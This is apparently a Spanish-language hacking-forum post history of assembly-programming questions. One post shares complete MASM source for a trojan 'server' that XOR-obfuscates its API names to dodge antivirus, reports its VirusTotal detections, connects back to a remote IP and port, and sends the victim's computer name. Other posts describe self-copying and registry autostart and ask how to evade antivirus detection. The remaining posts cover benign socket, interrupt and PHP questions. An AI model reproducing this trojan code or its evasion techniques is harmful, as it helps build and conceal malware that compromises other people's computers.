  ;Por lo general, conexion establecida u otro ErrorCode

     .ENDIF

.ENDIF


Ok,, estoy usando el ejemplo de Iczelion, con Socket y procedimiento de ventana...
El problema esta en que la conexion queda trancada en error: WSAEWOULDBLOCK, y por lo que entendi de este error es algo asi como: "Dame un minuto que estoy intentando conectar" jajaja Bueno, no es asi literalmente, pero seria algo asi, "socket ocupado". Como el ejemplo funciona con procedimientos de ventana, el programa se cuelga al quedar en un bucle de conexion infinito, (intentando conectar y haciendo loop en volver a conectar...)
entonces la ventana no aparece siquiera..
Se me ocurre poner un timer, pero no tengo ni idea por donde empezar... Alguna sugerencia o algun metodo timer pleaseee!!

Thnks all !!
#82
ASM / Principio de Troyano ASM
15 Mayo 2013, 02:44 AM
Buenas amigos del foro!! Hoy ando regalon...
Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja
Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca...

Lo probe con virustotal y asi como esta tiene 4 detecciones:

VBA32            Malware-Cryptor.Win32.Allblock
Norman            Crypt.AWHI
F-Prot            W32/Threat-HLLSI-based!Maximus
Commtouch    W32/Threat-HLLSI-based!Maximus

Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta..

Sin mas que decir:


.386
.model flat, stdcall
option casemap:none

include Servidor.inc

bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc

.data

Ip db "127.0.0.1",0 ;Direccion remota
  Port dd 8888 ;Puerto remoto
Ver dd 2.2 ;Version de WinSck
  wsa WSADATA <> ;Estructura WSAData
  sa sockaddr_in <>        ;Estructura de sockaddr_in

Titulo db "Titulo de pruebas", 0
Saludo     db "CONNECT|%s0", 0 ;Saludo de conexion

;************************************************************

; Librerias
Ws2 db "Pt5X45)ckk", 0               ;Ws2
U32 db "Rtbu45)ckk", 0               ;User32
Kn32 db "Lbuibk45)ckk", 0       ;Kernel
; Socket
FunW db "PTFTsfusrw", 0 ;WSAStart
FunZ db "PTFDkbfirw", 0 ;WSAClean
FunS db "thdlbs", 0 ;socket
FunI db "nibsXfccu", 0 ;inet_addr
FunH db "oshit", 0 ;htons
FunC db "dhiibds", 0 ;connect
FunV db "ubdq", 0 ;recv
FunO db "dkhtbthdlbs", 0 ;closesocket
FunN db "tbic", 0        ;send
; Funciones del programa
FunM db "Jbttf`bEhF", 0 ;MessageBoxA
FunE db "BnsWuhdbtt", 0 ;ExitProcess
; Datos del Pc
FunG db "@bsDhjwrsbuIfjbF", 0        ;GetComputerNameA
FunP db "ptwunisaF", 0 ;wsprintfA
; Carga dinamica de Apis
FunL db "KhfcKneufu~F", 0        ;LoadLibraryA
FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress

;************************************************************

;******** CP NAME ***********
buffer     db 100 dup(?) ;Buffer para guardar el nombre del pc
bSize dd bufSize ;Tamaño para el nombre del pc
getName db bufSize dup(?) ;Necesario para GetComputerNameA
;****************************

.data?

Sock dd ? ;Socket
Buffer db 512 dup(?) ;Buffer para recv
Hand dd ? ;Handle de funcion dinamica
LoadL dd ? ;Handle de LoadLibraryA
GetP dd ? ;Handle de GetProcAddress

.const

WM_SOCK equ WM_USER + 100
SOCK_STRAM  equ 1

.code

Inicio:
jmp Mentira
Inicio2:

invoke Llamar, addr Ws2, addr FunW ;WSAStart
push offset [wsa]
push offset [Ver]
call Hand

.IF eax!=NULL
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF

invoke Llamar, addr Ws2, addr FunS ;socket
push 0
push SOCK_STRAM
push AF_INET
call Hand

.IF eax==INVALID_SOCKET
invoke Llamar, addr Kn32, addr FunE
push 0
call Hand
.ENDIF

mov Sock, eax
mov sa.sin_family, AF_INET

invoke Llamar, addr Ws2, addr FunI ;inet_addr
push offset [Ip]
call Hand
mov sa.sin_addr, eax

invoke Llamar, addr Ws2, addr FunH ;htons
push Port
call Hand

mov sa.sin_port, ax

Conn:

invoke Llamar, addr Ws2, addr FunC ;connect
push sizeof sa
push offset [sa]
push Sock
call Hand
cmp eax, 0
jne Conn

;**********************************************
;              GetComputerName
;**********************************************
invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA
push offset [bSize]
push offset [getName]
call Hand

invoke Llamar, addr U32, addr FunP ;wsprintfA
push offset [getName]
push offset [Saludo]
push offset [buffer]
call Hand

invoke Llamar, addr Ws2, addr FunN ;send
push 0
push sizeof buffer
push offset [buffer]
push Sock
call Hand
;**********************************************

Recv:

invoke Llamar, addr Ws2, addr FunV ;recv
push 0
push sizeof Buffer
push offset [Buffer]
push Sock
call Hand
cmp eax, -1
je Recon

invoke Llamar, addr U32, addr FunM ;MessageBoxA
push MB_OK
push offset [Titulo]
push offset [Buffer]
push 0
call Hand
jmp Recv

Recon:

invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand

invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand
jmp Inicio2

Clse:

invoke Llamar, addr Ws2, addr FunO ;closesocket
push Sock
call Hand

invoke Llamar, addr Ws2, addr FunZ ;WSAClean
call Hand

invoke Llamar, addr Kn32, addr FunE ;ExitProcess
push 0
call Hand

Dinamic proc Libreria:DWORD, Funcion:DWORD

push Libreria
call LoadLibrary
push Funcion
push eax
call GetProcAddress

ret

Dinamic endp

Llamar proc Lib:DWORD, Fun:DWORD

push [Lib]
call LoadL
push [Fun]
push eax
call GetP
mov Hand, eax

ret
Llamar endp

Decript proc Funcion:DWORD

   xor ecx,ecx
   mov eax, [Funcion]
   bucle:
   cmp byte ptr ds: [eax + ecx], 0
   je salir
   xor byte ptr ds:[eax + ecx], 7
   inc ecx
   jmp bucle
   salir:
   ret

Decript endp
Mentira:

invoke Decript, addr U32 ;User32 -
invoke Decript, addr Kn32 ;Kernel32 - APIS
invoke Decript, addr Ws2 ;WinSock -

invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS
invoke Decript, addr FunT ;GetProcaddress -

invoke Decript, addr FunW ;WsaStartup -
invoke Decript, addr FunZ ;WsaClean -
invoke Decript, addr FunS ;socket -
invoke Decript, addr FunI ;inet_addr -
invoke Decript, addr FunH ;htoons - SOCKET
invoke Decript, addr FunC ;connect -
invoke Decript, addr FunN ;send -
invoke Decript, addr FunV ;recv -
invoke Decript, addr FunO ;closesocket -

invoke Decript, addr FunM ;MessageboxA -
invoke Decript, addr FunE ;ExitProcess - GENERALES
invoke Decript, addr FunP ;wsprintfA -
invoke Decript, addr FunG

;*********************************************
; Obtengo Direccion de Getproc y LoadLib
;*********************************************
push offset [FunL]
push offset [Kn32]
call Dinamic
mov LoadL, eax
push offset [FunT]
push offset [Kn32]
call Dinamic
mov GetP, eax
;*********************************************
jmp Inicio2

end Inicio


Bueno, ahi esta...
Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido..

Saludos!
#83
ASM / Ayuda implementando modulos
14 Mayo 2013, 22:06 PM
Hola amigos!!! Tengo una pequeña consulta hoy.. Estoy trabajando con Masm y RadASM.. En el explorador de proyecto dice que se pueden agregar modulos...
Esos modulos en realidad son archivos .asm
La duda es si es lo mismo insertar un modulo que insertar un asm?

Gracias!!
#84
Buenas señores y señoras !! A que se debe esta deteccion ?

TR/Crypt.XPACK.Gen y Malware-Cryptor.Win32.Allblock

Que es lo que me detecta ? Puede ser una rutina de desencriptacion de cadenas quizas ??

Y ya que estamos.. si es eso lo que me detecta,, (la desencriptacion) alguien sabe de algun algoritmo para cifrar cadenas en asm ? uno mejor que sumarle un numero a los caracteres ascii, porque eso es lo que hago y esta muy simplote... Y con xor, la verdad que me da la misma mala espina.. no es nada muy elaborado..

Desde ya, Muchas gracias!!!
#85
ASM / Ayuda con interrupciones..
2 Mayo 2013, 23:45 PM
Hola amigos, espero anden bien..
Me quede trancado con algo bien simple.. :/
Por que puede ser que no funcionen las interrupciones del DOS ?? No puedo imprimir una cadena en la pantalla con 21h

Gracias y Saludos!
#86
Buenas amigos Foreros!! Espero anden bien :)

Les cuento.. Estoy desarrollando un pequeño troyano en asm, con funciones basicas,, lo justo y necesario.. Pero la cosa se esta complicando con los antivirus..
Yo tengo una tecnica para ir haciendo estas cosas.. voy creando partes del codigo y las voy probando en, por ejemplo, Novirusthanks... Bien, la cosa es que ya tengo algunas cosas "funcionando", por ejemplo, que la aplicacion se autocopie en el disco duro.. (deteccion por heuristica), tambien logre escribir en el registro de windows, para que se autoinicie.. (deteccion por virus), y asi la lista sigue un poco mas,, por ejemplo al usar la API getcomputername..

Al parecer,, todo lo basico que un malware debe hacer, es detectado por uno o por otro antivirus..
He leido algunos hilos, foros, wikipedia, etc.. de cosas asi como el polimorfismo, encriptacion.. etc, etc

De estas tecnicas la unica que podria manejar (por ahora quizas) es la encriptacion..

Alguien tiene alguna idea de como se podria evadir un poco mejor ( sin llegar al extremo del polimorfismo ) a los AV ? Y de ser posible algun ejemplo practico, un pseudocode o idea teorica.. todo sirve..
Muchas gracias por leer toda esta maza que acabo de escribir!! jeje

Saludos!
#87
ASM / Problema al limpiar variable
11 Abril 2013, 22:45 PM
Hola!! Como andan ?
Bueno,, la consulta es facil hoy.. resulta que tengo un problema al limpiar una variable llamada buffer, la cual se modifica constantemente cuando llega un dato por una conexion con socket.. aca dejo el code y el problema detallado.

.data?

buffer      db 512 dup(?)       ;Bufer para guardar datos recibidos

Eso en la sección .data?, luego en la sección .code:

Recv:
invoke recv, sock, addr buffer, sizeof buffer, 0
   
cmp sock, 0
je EMsg
   
EMsg:
invoke MessageBox, 0, addr buffer, addr Titulo, MB_OK
jmp Recv

El problema es que el "buffer" siempre queda cargado con la mayor cantidad de bytes que se le hayan pasado, por ejemplo:

si cargo buffer con "Hola", y luego cargo buffer con "J" el buffer queda asi: "Jola"

Ya probe con: mov buffer, 0 pero no da resultado...

Tendria que recorrer el buffer byte por byte y si es <> de 0 borrarlo ?? Es esa la solucion ?

Desde ya muchas gracias !! :)
#88
Buenas, amigos..
Por ahi viene la cosa hoy.. Me surgio esta interrogante,, porque desde mi posicion de novato en ASM, me propuse hacer un servidor de lo que podria ser un troyano..

Y la duda es.. Es realmente mejor un troyano en asm ? Sacando el tema de la portabilidad.
Los antivirus reconocen mas un malware hecho en asm ?

Saludos !!
#89
ASM / Ayuda con funcion "Split"
26 Marzo 2013, 23:09 PM
Buenas amigos del foro.. Espero que anden bien.. :)

Bueno, creo que hoy la duda esta clarisima,, preciso dividir un string con un criterio dado,, asi, tal cual lo haria vb con split.

Si a alguien se le ocurre algo, una idea por donde empezar, o mejor aun un pseudocodigo, o lo que sea jaja

Desde ya, muchas gracias! :)
#90
Buenas señores y señoras! :) Tengo una cosulta que me esta rompiendo la cabeza...

Es posible asignar una variable de tipo "Resource id#" a una variable de sesion ?

Porque no he podido hacerlo, por mas que intento, la variable "$_SESSION['Conex']" me queda vacia!

Ahora veamos un ejemplo de lo que quiero..

include("Conexion.php");
$Conexion = Conectar(); --> Donde conectar es una funcion que conecta a mysql
$_SESSION['Conex'] = $Conexion;

La function conectar() funciona, lo se..

Yo preciso la variable "$Conexion" porque hago una consulta desde una funcion y no puedo acceder a la variable de otra forma si la variable no es global...

Bueno.. desde ya, Gracias!!